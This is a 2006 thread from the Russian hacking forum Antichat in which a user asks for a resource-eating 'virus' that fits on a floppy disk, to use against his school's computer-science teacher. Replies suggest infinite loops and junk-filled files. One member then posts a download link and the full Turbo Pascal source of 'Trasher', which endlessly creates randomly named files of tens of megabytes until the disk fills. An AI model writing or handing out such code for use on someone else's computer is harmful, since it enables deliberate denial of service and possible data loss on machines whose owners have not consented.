Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Кушаем ресурсы (https://forum.antichat.xyz/showthread.php?t=28872)

Diablo 11.12.2006 02:33

Кушаем ресурсы
 
Есть ли вирус чтоб ресурсы компа пожирал.
Ну или место на харде либо оперативу.
И чтоб на дискете умещался.
Слышал что-то про архивы "с сюрпризом" но не нашел.
Заранее благодарен

P.s.: Просто очень радостный у нас учитель информатики :d

W!z@rD 12.12.2006 16:31

=) сделаю на паскале...
потом пришлю...
с исходниками =)

для того чтобы сжирать ресурсы:
оперативка
запустить бесконечный цикл обрабатывающий что-то весомое.

место на харде
создать файл и заполнять его мусором

Ch3ck 12.12.2006 16:41

Цитата:

создать файл и заполнять его мусором
А можно и не один... ;)
разберусь с курсовой работой, и ночью чё-нить придумаю.

Diablo 12.12.2006 23:17

Цитата:

Сообщение от W!z@rD
=) сделаю на паскале...
потом пришлю...
с исходниками =)

для того чтобы сжирать ресурсы:
оперативка
запустить бесконечный цикл обрабатывающий что-то весомое.

место на харде
создать файл и заполнять его мусором

Чет я не догоняю, как его мусором заполнять ? Типо чтобы он сам в себя че-нить писал ?

kyzmi4 13.12.2006 00:25

не например создать файл и чтобы в него писали одни 00000000000000

Diablo 13.12.2006 01:43

Я не бум-бум в программировании.
Помогите за +2 к репе ;)

W!z@rD 14.12.2006 16:19

Цитата:

Сообщение от Diablo
Я не бум-бум в программировании.
Помогите за +2 к репе ;)

смотри =) я те уже сделал...
седня домой приду отправлю...

Diablo 14.12.2006 16:46

Буду ждать.

W!z@rD 14.12.2006 17:04

вот ссылка (сорец+бинарники собранные на Turbo Pascal & Virtual Pascal)
http://slil.ru/23571819

а вот и сорец

program Trasher;

var
f:text;
temp:string;
i:LongInt;
abc:string;

begin
abc:='1234567890_qwertyuiopasdfghjklzxcvbnm.';
randomize;
while true do begin
temp:='';
for i:=1 to 7 do temp:=concat(temp,abc[random(length(abc)-1)]);
temp:=temp+'.';
for i:=1 to 3 do temp:=concat(temp,abc[random(length(abc)-1)]);
assign(f,temp);
rewrite(f);
for i:=1 to {21}47483647 do write(f,abc[random(length(abc))]);
writeln(temp);
close(f);
end;

end.


что еще потребуется скажи


Время: 21:11